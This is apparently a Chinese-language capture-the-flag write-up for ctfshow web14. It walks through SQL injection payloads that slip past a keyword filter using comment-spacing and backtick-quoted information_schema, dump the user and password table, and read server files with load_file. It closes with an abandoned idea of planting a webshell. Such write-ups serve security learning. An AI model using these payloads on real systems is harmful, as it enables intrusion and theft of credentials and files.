ctfshow--web14 sql注入利用``的清奇的绕过
输入c=3就会跳出来这个url
复制并访问,看这个页面应该是sql注入
有注释可看,看看他过滤了哪些东西
点击查看代码
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
点击查看代码
查看库名 名字是web
query=-1/**/union/**/select/**/database()
做到这就卡住了,不知道咋绕过
上网查可以通过 ‘ 包裹的的方法来绕过,长见识了确实没见过还能这样写的
查看表名
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
查看表字段
query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_schema=database()
查看所有id username 和password
点击查看代码
query=-1/**/union/**/select/**/group_concat(id,'----',username,'-----',password)/**/from/**/content
这告诉我secret在secret.php里面
**
**
查看secret.php源码发现没反应,在f12控制面板里面出现代码了
query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
再查看/real_flag_is_here
query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
ctfshow{290d8246-58d6-4d3b-9a51-64d7a1517f20}
flag拿是拿到了,但是我想了想,我为何不直接通过mysql在secret.php里面写个一句话木马试试呢
但是发现好像不太行。估计是没有改写文件的权限